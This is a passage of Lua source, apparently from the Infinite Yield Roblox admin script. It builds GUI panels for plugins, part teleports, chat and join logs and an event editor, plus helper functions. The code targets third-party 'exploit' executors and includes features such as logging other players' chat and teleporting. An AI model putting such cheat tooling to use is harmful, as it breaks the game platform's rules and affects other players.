PluginEditor.Size = UDim2.new(0, 360, 0, 20)
PluginEditor.ZIndex = 10
background_3.Name = "background"
background_3.Parent = PluginEditor
background_3.Active = true
background_3.BackgroundColor3 = Color3.fromRGB(36, 36, 37)
background_3.BorderSizePixel = 0
background_3.Position = UDim2.new(0, 0, 0, 20)
background_3.Size = UDim2.new(0, 360, 0, 160)
background_3.ZIndex = 10
table.insert(shade1,background_3)
Dark_2.Name = "Dark"
Dark_2.Parent = background_3
Dark_2.Active = true
Dark_2.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
Dark_2.BorderSizePixel = 0
Dark_2.Position = UDim2.new(0, 222, 0, 0)
Dark_2.Size = UDim2.new(0, 2, 0, 160)
Dark_2.ZIndex = 10
table.insert(shade2,Dark_2)
Img.Name = "Img"
Img.Parent = background_3
Img.BackgroundTransparency = 1
Img.Position = UDim2.new(0, 242, 0, 3)
Img.Size = UDim2.new(0, 100, 0, 95)
Img.Image = getcustomasset("infiniteyield/assets/imgstudiopluginlogo.png")
Img.ZIndex = 10
AddPlugin.Name = "AddPlugin"
AddPlugin.Parent = background_3
AddPlugin.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
AddPlugin.BorderSizePixel = 0
AddPlugin.Position = UDim2.new(0, 235, 0, 100)
AddPlugin.Size = UDim2.new(0, 115, 0, 50)
AddPlugin.Font = Enum.Font.SourceSans
AddPlugin.TextSize = 14
AddPlugin.Text = "Add Plugin"
AddPlugin.TextColor3 = Color3.new(1, 1, 1)
AddPlugin.ZIndex = 10
table.insert(shade2,AddPlugin)
table.insert(text1,AddPlugin)
FileName.Name = "FileName"
FileName.Parent = background_3
FileName.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
FileName.BorderSizePixel = 0
FileName.Position = UDim2.new(0.028, 0, 0.625, 0)
FileName.Size = UDim2.new(0, 200, 0, 50)
FileName.Font = Enum.Font.SourceSans
FileName.TextSize = 14
FileName.Text = "Plugin File Name"
FileName.TextColor3 = Color3.new(1, 1, 1)
FileName.ZIndex = 10
table.insert(shade2,FileName)
table.insert(text1,FileName)
About.Name = "About"
About.Parent = background_3
About.BackgroundTransparency = 1
About.BorderSizePixel = 0
About.Position = UDim2.new(0, 17, 0, 10)
About.Size = UDim2.new(0, 187, 0, 49)
About.Font = Enum.Font.SourceSans
About.TextSize = 14
About.Text = "Plugins are .iy files and should be located in the 'workspace' folder of your exploit."
About.TextColor3 = Color3.fromRGB(255, 255, 255)
About.TextWrapped = true
About.TextYAlignment = Enum.TextYAlignment.Top
About.ZIndex = 10
table.insert(text1,About)
Directions_2.Name = "Directions"
Directions_2.Parent = background_3
Directions_2.BackgroundTransparency = 1
Directions_2.BorderSizePixel = 0
Directions_2.Position = UDim2.new(0, 17, 0, 60)
Directions_2.Size = UDim2.new(0, 187, 0, 49)
Directions_2.Font = Enum.Font.SourceSans
Directions_2.TextSize = 14
Directions_2.Text = "Type the name of the plugin file you want to add below."
Directions_2.TextColor3 = Color3.fromRGB(255, 255, 255)
Directions_2.TextWrapped = true
Directions_2.TextYAlignment = Enum.TextYAlignment.Top
Directions_2.ZIndex = 10
table.insert(text1,Directions_2)
shadow_3.Name = "shadow"
shadow_3.Parent = PluginEditor
shadow_3.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
shadow_3.BorderSizePixel = 0
shadow_3.Size = UDim2.new(0, 360, 0, 20)
shadow_3.ZIndex = 10
table.insert(shade2,shadow_3)
PopupText_3.Name = "PopupText"
PopupText_3.Parent = shadow_3
PopupText_3.BackgroundTransparency = 1
PopupText_3.Size = UDim2.new(1, 0, 0.95, 0)
PopupText_3.ZIndex = 10
PopupText_3.Font = Enum.Font.SourceSans
PopupText_3.TextSize = 14
PopupText_3.Text = "Add Plugins"
PopupText_3.TextColor3 = Color3.new(1, 1, 1)
PopupText_3.TextWrapped = true
table.insert(text1,PopupText_3)
Exit_3.Name = "Exit"
Exit_3.Parent = shadow_3
Exit_3.BackgroundTransparency = 1
Exit_3.Position = UDim2.new(1, -20, 0, 0)
Exit_3.Size = UDim2.new(0, 20, 0, 20)
Exit_3.Text = ""
Exit_3.ZIndex = 10
ExitImage_3.Parent = Exit_3
ExitImage_3.BackgroundColor3 = Color3.new(1, 1, 1)
ExitImage_3.BackgroundTransparency = 1
ExitImage_3.Position = UDim2.new(0, 5, 0, 5)
ExitImage_3.Size = UDim2.new(0, 10, 0, 10)
ExitImage_3.Image = getcustomasset("infiniteyield/assets/close.png")
ExitImage_3.ZIndex = 10
AliasHint.Name = "AliasHint"
AliasHint.Parent = AliasesFrame
AliasHint.BackgroundTransparency = 1
AliasHint.BorderSizePixel = 0
AliasHint.Position = UDim2.new(0, 25, 0, 40)
AliasHint.Size = UDim2.new(0, 200, 0, 50)
AliasHint.Font = Enum.Font.SourceSansItalic
AliasHint.TextSize = 16
AliasHint.Text = "Add aliases by using the 'addalias' command"
AliasHint.TextColor3 = Color3.new(1, 1, 1)
AliasHint.TextStrokeColor3 = Color3.new(1, 1, 1)
AliasHint.TextWrapped = true
AliasHint.ZIndex = 10
table.insert(text1,AliasHint)
PluginsHint.Name = "PluginsHint"
PluginsHint.Parent = PluginsFrame
PluginsHint.BackgroundTransparency = 1
PluginsHint.BorderSizePixel = 0
PluginsHint.Position = UDim2.new(0, 25, 0, 40)
PluginsHint.Size = UDim2.new(0, 200, 0, 50)
PluginsHint.Font = Enum.Font.SourceSansItalic
PluginsHint.TextSize = 16
PluginsHint.Text = "Download plugins from the IY Discord (discord.gg/78ZuWSq)"
PluginsHint.TextColor3 = Color3.new(1, 1, 1)
PluginsHint.TextStrokeColor3 = Color3.new(1, 1, 1)
PluginsHint.TextWrapped = true
PluginsHint.ZIndex = 10
table.insert(text1,PluginsHint)
PositionsHint.Name = "PositionsHint"
PositionsHint.Parent = PositionsFrame
PositionsHint.BackgroundTransparency = 1
PositionsHint.BorderSizePixel = 0
PositionsHint.Position = UDim2.new(0, 25, 0, 40)
PositionsHint.Size = UDim2.new(0, 200, 0, 70)
PositionsHint.Font = Enum.Font.SourceSansItalic
PositionsHint.TextSize = 16
PositionsHint.Text = "Use the 'swp' or 'setwaypoint' command to add a position using your character (NOTE: Part teleports will not save)"
PositionsHint.TextColor3 = Color3.new(1, 1, 1)
PositionsHint.TextStrokeColor3 = Color3.new(1, 1, 1)
PositionsHint.TextWrapped = true
PositionsHint.ZIndex = 10
table.insert(text1,PositionsHint)
ToPartFrame.Name = randomString()
ToPartFrame.Parent = ScaledHolder
ToPartFrame.Active = true
ToPartFrame.BackgroundTransparency = 1
ToPartFrame.Position = UDim2.new(0.5, -180, 0, -500)
ToPartFrame.Size = UDim2.new(0, 360, 0, 20)
ToPartFrame.ZIndex = 10
background_4.Name = "background"
background_4.Parent = ToPartFrame
background_4.Active = true
background_4.BackgroundColor3 = Color3.fromRGB(36, 36, 37)
background_4.BorderSizePixel = 0
background_4.Position = UDim2.new(0, 0, 0, 20)
background_4.Size = UDim2.new(0, 360, 0, 117)
background_4.ZIndex = 10
table.insert(shade1,background_4)
ChoosePart.Name = "ChoosePart"
ChoosePart.Parent = background_4
ChoosePart.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
ChoosePart.BorderSizePixel = 0
ChoosePart.Position = UDim2.new(0, 100, 0, 55)
ChoosePart.Size = UDim2.new(0, 75, 0, 30)
ChoosePart.Font = Enum.Font.SourceSans
ChoosePart.TextSize = 14
ChoosePart.Text = "Select Part"
ChoosePart.TextColor3 = Color3.new(1, 1, 1)
ChoosePart.ZIndex = 10
table.insert(shade2,ChoosePart)
table.insert(text1,ChoosePart)
CopyPath.Name = "CopyPath"
CopyPath.Parent = background_4
CopyPath.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
CopyPath.BorderSizePixel = 0
CopyPath.Position = UDim2.new(0, 185, 0, 55)
CopyPath.Size = UDim2.new(0, 75, 0, 30)
CopyPath.Font = Enum.Font.SourceSans
CopyPath.TextSize = 14
CopyPath.Text = "Copy Path"
CopyPath.TextColor3 = Color3.new(1, 1, 1)
CopyPath.ZIndex = 10
table.insert(shade2,CopyPath)
table.insert(text1,CopyPath)
Directions_3.Name = "Directions"
Directions_3.Parent = background_4
Directions_3.BackgroundTransparency = 1
Directions_3.BorderSizePixel = 0
Directions_3.Position = UDim2.new(0, 51, 0, 17)
Directions_3.Size = UDim2.new(0, 257, 0, 32)
Directions_3.Font = Enum.Font.SourceSans
Directions_3.TextSize = 14
Directions_3.Text = 'Click on a part and then click the "Select Part" button below to set it as a teleport location'
Directions_3.TextColor3 = Color3.new(1, 1, 1)
Directions_3.TextWrapped = true
Directions_3.TextYAlignment = Enum.TextYAlignment.Top
Directions_3.ZIndex = 10
table.insert(text1,Directions_3)
Path.Name = "Path"
Path.Parent = background_4
Path.BackgroundTransparency = 1
Path.BorderSizePixel = 0
Path.Position = UDim2.new(0, 0, 0, 94)
Path.Size = UDim2.new(0, 360, 0, 16)
Path.Font = Enum.Font.SourceSansItalic
Path.TextSize = 14
Path.Text = ""
Path.TextColor3 = Color3.new(1, 1, 1)
Path.TextScaled = true
Path.TextWrapped = true
Path.TextYAlignment = Enum.TextYAlignment.Top
Path.ZIndex = 10
table.insert(text1,Path)
shadow_4.Name = "shadow"
shadow_4.Parent = ToPartFrame
shadow_4.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
shadow_4.BorderSizePixel = 0
shadow_4.Size = UDim2.new(0, 360, 0, 20)
shadow_4.ZIndex = 10
table.insert(shade2,shadow_4)
PopupText_5.Name = "PopupText"
PopupText_5.Parent = shadow_4
PopupText_5.BackgroundTransparency = 1
PopupText_5.Size = UDim2.new(1, 0, 0.95, 0)
PopupText_5.ZIndex = 10
PopupText_5.Font = Enum.Font.SourceSans
PopupText_5.TextSize = 14
PopupText_5.Text = "Teleport to Part"
PopupText_5.TextColor3 = Color3.new(1, 1, 1)
PopupText_5.TextWrapped = true
table.insert(text1,PopupText_5)
Exit_4.Name = "Exit"
Exit_4.Parent = shadow_4
Exit_4.BackgroundTransparency = 1
Exit_4.Position = UDim2.new(1, -20, 0, 0)
Exit_4.Size = UDim2.new(0, 20, 0, 20)
Exit_4.Text = ""
Exit_4.ZIndex = 10
ExitImage_5.Parent = Exit_4
ExitImage_5.BackgroundColor3 = Color3.new(1, 1, 1)
ExitImage_5.BackgroundTransparency = 1
ExitImage_5.Position = UDim2.new(0, 5, 0, 5)
ExitImage_5.Size = UDim2.new(0, 10, 0, 10)
ExitImage_5.Image = getcustomasset("infiniteyield/assets/close.png")
ExitImage_5.ZIndex = 10
logs.Name = randomString()
logs.Parent = ScaledHolder
logs.Active = true
logs.BackgroundTransparency = 1
logs.Position = UDim2.new(0, 0, 1, 10)
logs.Size = UDim2.new(0, 338, 0, 20)
logs.ZIndex = 10
shadow.Name = "shadow"
shadow.Parent = logs
shadow.BackgroundColor3 = Color3.new(0.180392, 0.180392, 0.184314)
shadow.BorderSizePixel = 0
shadow.Position = UDim2.new(0, 0, 0.00999999978, 0)
shadow.Size = UDim2.new(0, 338, 0, 20)
shadow.ZIndex = 10
table.insert(shade2,shadow)
Hide.Name = "Hide"
Hide.Parent = shadow
Hide.BackgroundTransparency = 1
Hide.Position = UDim2.new(1, -40, 0, 0)
Hide.Size = UDim2.new(0, 20, 0, 20)
Hide.ZIndex = 10
Hide.Text = ""
ImageLabel.Parent = Hide
ImageLabel.BackgroundColor3 = Color3.new(1, 1, 1)
ImageLabel.BackgroundTransparency = 1
ImageLabel.Position = UDim2.new(0, 3, 0, 3)
ImageLabel.Size = UDim2.new(0, 14, 0, 14)
ImageLabel.Image = getcustomasset("infiniteyield/assets/minimize.png")
ImageLabel.ZIndex = 10
PopupText.Name = "PopupText"
PopupText.Parent = shadow
PopupText.BackgroundTransparency = 1
PopupText.Size = UDim2.new(1, 0, 0.949999988, 0)
PopupText.ZIndex = 10
PopupText.Font = Enum.Font.SourceSans
PopupText.FontSize = Enum.FontSize.Size14
PopupText.Text = "Logs"
PopupText.TextColor3 = Color3.new(1, 1, 1)
PopupText.TextWrapped = true
table.insert(text1,PopupText)
Exit.Name = "Exit"
Exit.Parent = shadow
Exit.BackgroundTransparency = 1
Exit.Position = UDim2.new(1, -20, 0, 0)
Exit.Size = UDim2.new(0, 20, 0, 20)
Exit.ZIndex = 10
Exit.Text = ""
ImageLabel_2.Parent = Exit
ImageLabel_2.BackgroundColor3 = Color3.new(1, 1, 1)
ImageLabel_2.BackgroundTransparency = 1
ImageLabel_2.Position = UDim2.new(0, 5, 0, 5)
ImageLabel_2.Size = UDim2.new(0, 10, 0, 10)
ImageLabel_2.Image = getcustomasset("infiniteyield/assets/close.png")
ImageLabel_2.ZIndex = 10
background.Name = "background"
background.Parent = logs
background.Active = true
background.BackgroundColor3 = Color3.new(0.141176, 0.141176, 0.145098)
background.BorderSizePixel = 0
background.ClipsDescendants = true
background.Position = UDim2.new(0, 0, 1, 0)
background.Size = UDim2.new(0, 338, 0, 245)
background.ZIndex = 10
chat.Name = "chat"
chat.Parent = background
chat.Active = true
chat.BackgroundColor3 = Color3.new(0.141176, 0.141176, 0.145098)
chat.BorderSizePixel = 0
chat.ClipsDescendants = true
chat.Size = UDim2.new(0, 338, 0, 245)
chat.ZIndex = 10
table.insert(shade1,chat)
Clear.Name = "Clear"
Clear.Parent = chat
Clear.BackgroundColor3 = Color3.new(0.180392, 0.180392, 0.184314)
Clear.BorderSizePixel = 0
Clear.Position = UDim2.new(0, 5, 0, 220)
Clear.Size = UDim2.new(0, 50, 0, 20)
Clear.ZIndex = 10
Clear.Font = Enum.Font.SourceSans
Clear.FontSize = Enum.FontSize.Size14
Clear.Text = "Clear"
Clear.TextColor3 = Color3.new(1, 1, 1)
table.insert(shade2,Clear)
table.insert(text1,Clear)
SaveChatlogs.Name = "SaveChatlogs"
SaveChatlogs.Parent = chat
SaveChatlogs.BackgroundColor3 = Color3.new(0.180392, 0.180392, 0.184314)
SaveChatlogs.BorderSizePixel = 0
SaveChatlogs.Position = UDim2.new(0, 258, 0, 220)
SaveChatlogs.Size = UDim2.new(0, 75, 0, 20)
SaveChatlogs.ZIndex = 10
SaveChatlogs.Font = Enum.Font.SourceSans
SaveChatlogs.FontSize = Enum.FontSize.Size14
SaveChatlogs.Text = "Save To .txt"
SaveChatlogs.TextColor3 = Color3.new(1, 1, 1)
table.insert(shade2,SaveChatlogs)
table.insert(text1,SaveChatlogs)
Toggle.Name = "Toggle"
Toggle.Parent = chat
Toggle.BackgroundColor3 = Color3.new(0.180392, 0.180392, 0.184314)
Toggle.BorderSizePixel = 0
Toggle.Position = UDim2.new(0, 60, 0, 220)
Toggle.Size = UDim2.new(0, 66, 0, 20)
Toggle.ZIndex = 10
Toggle.Font = Enum.Font.SourceSans
Toggle.FontSize = Enum.FontSize.Size14
Toggle.Text = "Disabled"
Toggle.TextColor3 = Color3.new(1, 1, 1)
table.insert(shade2,Toggle)
table.insert(text1,Toggle)
scroll_2.Name = "scroll"
scroll_2.Parent = chat
scroll_2.BackgroundColor3 = Color3.new(0.180392, 0.180392, 0.184314)
scroll_2.BorderSizePixel = 0
scroll_2.Position = UDim2.new(0, 5, 0, 25)
scroll_2.Size = UDim2.new(0, 328, 0, 190)
scroll_2.ZIndex = 10
scroll_2.BottomImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
scroll_2.CanvasSize = UDim2.new(0, 0, 0, 10)
scroll_2.ScrollBarThickness = 8
scroll_2.TopImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
table.insert(scroll,scroll_2)
table.insert(shade2,scroll_2)
join.Name = "join"
join.Parent = background
join.Active = true
join.BackgroundColor3 = Color3.new(0.141176, 0.141176, 0.145098)
join.BorderSizePixel = 0
join.ClipsDescendants = true
join.Size = UDim2.new(0, 338, 0, 245)
join.Visible = false
join.ZIndex = 10
table.insert(shade1,join)
Toggle_2.Name = "Toggle"
Toggle_2.Parent = join
Toggle_2.BackgroundColor3 = Color3.new(0.180392, 0.180392, 0.184314)
Toggle_2.BorderSizePixel = 0
Toggle_2.Position = UDim2.new(0, 60, 0, 220)
Toggle_2.Size = UDim2.new(0, 66, 0, 20)
Toggle_2.ZIndex = 10
Toggle_2.Font = Enum.Font.SourceSans
Toggle_2.FontSize = Enum.FontSize.Size14
Toggle_2.Text = "Disabled"
Toggle_2.TextColor3 = Color3.new(1, 1, 1)
table.insert(shade2,Toggle_2)
table.insert(text1,Toggle_2)
Clear_2.Name = "Clear"
Clear_2.Parent = join
Clear_2.BackgroundColor3 = Color3.new(0.180392, 0.180392, 0.184314)
Clear_2.BorderSizePixel = 0
Clear_2.Position = UDim2.new(0, 5, 0, 220)
Clear_2.Size = UDim2.new(0, 50, 0, 20)
Clear_2.ZIndex = 10
Clear_2.Font = Enum.Font.SourceSans
Clear_2.FontSize = Enum.FontSize.Size14
Clear_2.Text = "Clear"
Clear_2.TextColor3 = Color3.new(1, 1, 1)
table.insert(shade2,Clear_2)
table.insert(text1,Clear_2)
scroll_3.Name = "scroll"
scroll_3.Parent = join
scroll_3.BackgroundColor3 = Color3.new(0.180392, 0.180392, 0.184314)
scroll_3.BorderSizePixel = 0
scroll_3.Position = UDim2.new(0, 5, 0, 25)
scroll_3.Size = UDim2.new(0, 328, 0, 190)
scroll_3.ZIndex = 10
scroll_3.BottomImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
scroll_3.CanvasSize = UDim2.new(0, 0, 0, 10)
scroll_3.ScrollBarThickness = 8
scroll_3.TopImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
table.insert(scroll,scroll_3)
table.insert(shade2,scroll_3)
selectChat.Name = "selectChat"
selectChat.Parent = background
selectChat.BackgroundColor3 = Color3.new(0.180392, 0.180392, 0.184314)
selectChat.BorderSizePixel = 0
selectChat.Position = UDim2.new(0, 5, 0, 5)
selectChat.Size = UDim2.new(0, 164, 0, 20)
selectChat.ZIndex = 10
selectChat.Font = Enum.Font.SourceSans
selectChat.FontSize = Enum.FontSize.Size14
selectChat.Text = "Chat Logs"
selectChat.TextColor3 = Color3.new(1, 1, 1)
table.insert(shade2,selectChat)
table.insert(text1,selectChat)
selectJoin.Name = "selectJoin"
selectJoin.Parent = background
selectJoin.BackgroundColor3 = Color3.new(0.305882, 0.305882, 0.309804)
selectJoin.BorderSizePixel = 0
selectJoin.Position = UDim2.new(0, 169, 0, 5)
selectJoin.Size = UDim2.new(0, 164, 0, 20)
selectJoin.ZIndex = 10
selectJoin.Font = Enum.Font.SourceSans
selectJoin.FontSize = Enum.FontSize.Size14
selectJoin.Text = "Join Logs"
selectJoin.TextColor3 = Color3.new(1, 1, 1)
table.insert(shade3,selectJoin)
table.insert(text1,selectJoin)
function create(data)
local insts = {}
for i,v in pairs(data) do insts[v[1]] = Instance.new(v[2]) end
for _,v in pairs(data) do
for prop,val in pairs(v[3]) do
if type(val) == "table" then
insts[v[1]][prop] = insts[val[1]]
else
insts[v[1]][prop] = val
end
end
end
return insts[1]
end
ViewportTextBox = (function()
local funcs = {}
funcs.Update = function(self)
local cursorPos = self.TextBox.CursorPosition
local text = self.TextBox.Text
if text == "" then self.TextBox.Position = UDim2.new(0,2,0,0) return end
if cursorPos == -1 then return end
local cursorText = text:sub(1,cursorPos-1)
local pos = nil
local leftEnd = -self.TextBox.Position.X.Offset
local rightEnd = leftEnd + self.View.AbsoluteSize.X
local totalTextSize = TextService:GetTextSize(text,self.TextBox.TextSize,self.TextBox.Font,Vector2.new(999999999,100)).X
local cursorTextSize = TextService:GetTextSize(cursorText,self.TextBox.TextSize,self.TextBox.Font,Vector2.new(999999999,100)).X
if cursorTextSize > rightEnd then
pos = math.max(-2,cursorTextSize - self.View.AbsoluteSize.X + 2)
elseif cursorTextSize < leftEnd then
pos = math.max(-2,cursorTextSize-2)
elseif totalTextSize < rightEnd then
pos = math.max(-2,totalTextSize - self.View.AbsoluteSize.X + 2)
end
if pos then
self.TextBox.Position = UDim2.new(0,-pos,0,0)
self.TextBox.Size = UDim2.new(1,pos,1,0)
end
end
local mt = {}
mt.__index = funcs
local function convert(textbox)
local obj = setmetatable({OffsetX = 0, TextBox = textbox},mt)
local view = Instance.new("Frame")
view.BackgroundTransparency = textbox.BackgroundTransparency
view.BackgroundColor3 = textbox.BackgroundColor3
view.BorderSizePixel = textbox.BorderSizePixel
view.BorderColor3 = textbox.BorderColor3
view.Position = textbox.Position
view.Size = textbox.Size
view.ClipsDescendants = true
view.Name = textbox.Name
view.ZIndex = 10
textbox.BackgroundTransparency = 1
textbox.Position = UDim2.new(0,4,0,0)
textbox.Size = UDim2.new(1,-8,1,0)
textbox.TextXAlignment = Enum.TextXAlignment.Left
textbox.Name = "Input"
table.insert(text1,textbox)
table.insert(shade2,view)
obj.View = view
textbox.Changed:Connect(function(prop)
if prop == "Text" or prop == "CursorPosition" or prop == "AbsoluteSize" then
obj:Update()
end
end)
obj:Update()
view.Parent = textbox.Parent
textbox.Parent = view
return obj
end
return {convert = convert}
end)()
ViewportTextBox.convert(Cmdbar).View.ZIndex = 10
ViewportTextBox.convert(Cmdbar_2).View.ZIndex = 10
ViewportTextBox.convert(Cmdbar_3).View.ZIndex = 10
function writefileExploit()
if writefile then
return true
end
end
function readfileExploit()
if readfile then
return true
end
end
function isNumber(str)
if tonumber(str) ~= nil or str == 'inf' then
return true
end
end
function vtype(o, t)
if o == nil then return false end
if type(o) == "userdata" then return typeof(o) == t end
return type(o) == t
end
function getRoot(char)
local rootPart = char:FindFirstChild('HumanoidRootPart') or char:FindFirstChild('Torso') or char:FindFirstChild('UpperTorso')
return rootPart
end
function tools(plr)
if plr:FindFirstChildOfClass("Backpack"):FindFirstChildOfClass('Tool') or plr.Character:FindFirstChildOfClass('Tool') then
return true
end
end
function r15(plr)
if plr.Character:FindFirstChildOfClass('Humanoid').RigType == Enum.HumanoidRigType.R15 then
return true
end
end
function toClipboard(txt)
if everyClipboard then
everyClipboard(tostring(txt))
notify("Clipboard", "Copied to clipboard")
else
notify("Clipboard", "Your exploit doesn't have the ability to use the clipboard")
end
end
function chatMessage(str)
str = tostring(str)
if not isLegacyChat then
TextChatService.TextChannels.RBXGeneral:SendAsync(str)
else
ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(str, "All")
end
end
function getHierarchy(obj)
local fullname
local period
if string.find(obj.Name,' ') then
fullname = '["'..obj.Name..'"]'
period = false
else
fullname = obj.Name
period = true
end
local getS = obj
local parent = obj
local service = ''
if getS.Parent ~= game then
repeat
getS = getS.Parent
service = getS.ClassName
until getS.Parent == game
end
if parent.Parent ~= getS then
repeat
parent = parent.Parent
if string.find(tostring(parent),' ') then
if period then
fullname = '["'..parent.Name..'"].'..fullname
else
fullname = '["'..parent.Name..'"]'..fullname
end
period = false
else
if period then
fullname = parent.Name..'.'..fullname
else
fullname = parent.Name..''..fullname
end
period = true
end
until parent.Parent == getS
elseif string.find(tostring(parent),' ') then
fullname = '["'..parent.Name..'"]'
period = false
end
if period then
return 'game:GetService("'..service..'").'..fullname
else
return 'game:GetService("'..service..'")'..fullname
end
end
AllWaypoints = {}
local cooldown = false
function writefileCooldown(name,data)
task.spawn(function()
if not cooldown then
cooldown = true
writefile(name, data, true)
else
repeat wait() until cooldown == false
writefileCooldown(name,data)
end
wait(3)
cooldown = false
end)
end
function dragGUI(gui)
task.spawn(function()
local dragging
local dragInput
local dragStart = Vector3.new(0,0,0)
local startPos
local function update(input)
local delta = input.Position - dragStart
local Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y)
TweenService:Create(gui, TweenInfo.new(.20), {Position = Position}):Play()
end
gui.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
dragging = true
dragStart = input.Position
startPos = gui.Position
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then
dragging = false
end
end)
end
end)
gui.InputChanged:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
dragInput = input
end
end)
UserInputService.InputChanged:Connect(function(input)
if input == dragInput and dragging then
update(input)
end
end)
end)
end
dragGUI(logs)
dragGUI(KeybindEditor)
dragGUI(PluginEditor)
dragGUI(ToPartFrame)
eventEditor = (function()
local events = {}
local function registerEvent(name,sets)
events[name] = {
commands = {},
sets = sets or {}
}
end
local onEdited = nil
local function fireEvent(name,...)
local args = {...}
local event = events[name]
if event then
for i,cmd in pairs(event.commands) do
local metCondition = true
for idx,set in pairs(event.sets) do
local argVal = args[idx]
local cmdSet = cmd[2][idx]
local condType = set.Type
if condType == "Player" then
if cmdSet == 0 then
metCondition = metCondition and (tostring(Players.LocalPlayer) == argVal)
elseif cmdSet ~= 1 then
metCondition = metCondition and table.find(getPlayer(cmdSet,Players.LocalPlayer),argVal)
end
elseif condType == "String" then
if cmdSet ~= 0 then
metCondition = metCondition and string.find(argVal:lower(),cmdSet:lower())
end
elseif condType == "Number" then
if cmdSet ~= 0 then
metCondition = metCondition and tonumber(argVal)<=tonumber(cmdSet)
end
end
if not metCondition then break end
end
if metCondition then
pcall(task.spawn(function()
local cmdStr = cmd[1]
for count,arg in pairs(args) do
cmdStr = cmdStr:gsub("%$"..count,arg)
end
wait(cmd[3] or 0)
execCmd(cmdStr)
end))
end
end
end
end
local main = create({
{1,"Frame",{BackgroundColor3=Color3.new(0.14117647707462,0.14117647707462,0.14509804546833),BackgroundTransparency=1,BorderSizePixel=0,Name="EventEditor",Position=UDim2.new(0.5,-175,0,-500),Size=UDim2.new(0,350,0,20),ZIndex=10,}},
{2,"Frame",{BackgroundColor3=currentShade2,BorderSizePixel=0,Name="TopBar",Parent={1},Size=UDim2.new(1,0,0,20),ZIndex=10,}},
{3,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="Title",Parent={2},Position=UDim2.new(0,0,0,0),Size=UDim2.new(1,0,0.95,0),Text="Event Editor",TextColor3=Color3.new(1,1,1),TextSize=14,TextXAlignment=Enum.TextXAlignment.Center,ZIndex=10,}},
{4,"TextButton",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="Close",Parent={2},Position=UDim2.new(1,-20,0,0),Size=UDim2.new(0,20,0,20),Text="",TextColor3=Color3.new(1,1,1),TextSize=14,ZIndex=10,}},
{5,"ImageLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Image=getcustomasset("infiniteyield/assets/close.png"),Parent={4},Position=UDim2.new(0,5,0,5),Size=UDim2.new(0,10,0,10),ZIndex=10,}},
{6,"Frame",{BackgroundColor3=currentShade1,BorderSizePixel=0,Name="Content",Parent={1},Position=UDim2.new(0,0,0,20),Size=UDim2.new(1,0,0,202),ZIndex=10,}},
{7,"ScrollingFrame",{BackgroundColor3=Color3.new(0.14117647707462,0.14117647707462,0.14509804546833),BackgroundTransparency=1,BorderColor3=Color3.new(0.15686275064945,0.15686275064945,0.15686275064945),BorderSizePixel=0,BottomImage="rbxasset://textures/ui/Scroll/scroll-middle.png",CanvasSize=UDim2.new(0,0,0,100),Name="List",Parent={6},Position=UDim2.new(0,5,0,5),ScrollBarImageColor3=Color3.new(0.30588236451149,0.30588236451149,0.3098039329052),ScrollBarThickness=8,Size=UDim2.new(1,-10,1,-10),TopImage="rbxasset://textures/ui/Scroll/scroll-middle.png",ZIndex=10,}},
{8,"Frame",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Name="Holder",Parent={7},Size=UDim2.new(1,0,1,0),ZIndex=10,}},
{9,"UIListLayout",{Parent={8},SortOrder=2,}},
{10,"Frame",{BackgroundColor3=Color3.new(0.14117647707462,0.14117647707462,0.14509804546833),BackgroundTransparency=1,BorderColor3=Color3.new(0.3137255012989,0.3137255012989,0.3137255012989),BorderSizePixel=0,ClipsDescendants=true,Name="Settings",Parent={6},Position=UDim2.new(1,0,0,0),Size=UDim2.new(0,150,1,0),ZIndex=10,}},
{11,"Frame",{BackgroundColor3=Color3.new(0.14117647707462,0.14117647707462,0.14509804546833),Name="Slider",Parent={10},Position=UDim2.new(0,-150,0,0),Size=UDim2.new(1,0,1,0),ZIndex=10,}},
{12,"Frame",{BackgroundColor3=Color3.new(0.23529413342476,0.23529413342476,0.23529413342476),BorderColor3=Color3.new(0.3137255012989,0.3137255012989,0.3137255012989),BorderSizePixel=0,Name="Line",Parent={11},Size=UDim2.new(0,1,1,0),ZIndex=10,}},
{13,"ScrollingFrame",{BackgroundColor3=Color3.new(0.14117647707462,0.14117647707462,0.14509804546833),BackgroundTransparency=1,BorderColor3=Color3.new(0.15686275064945,0.15686275064945,0.15686275064945),BorderSizePixel=0,BottomImage="rbxasset://textures/ui/Scroll/scroll-middle.png",CanvasSize=UDim2.new(0,0,0,100),Name="List",Parent={11},Position=UDim2.new(0,0,0,25),ScrollBarImageColor3=Color3.new(0.30588236451149,0.30588236451149,0.3098039329052),ScrollBarThickness=8,Size=UDim2.new(1,0,1,-25),TopImage="rbxasset://textures/ui/Scroll/scroll-middle.png",ZIndex=10,}},
{14,"Frame",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Name="Holder",Parent={13},Size=UDim2.new(1,0,1,0),ZIndex=10,}},
{15,"UIListLayout",{Parent={14},SortOrder=2,}},
{16,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="Title",Parent={11},Size=UDim2.new(1,0,0,20),Text="Event Settings",TextColor3=Color3.new(1,1,1),TextSize=14,ZIndex=10,}},
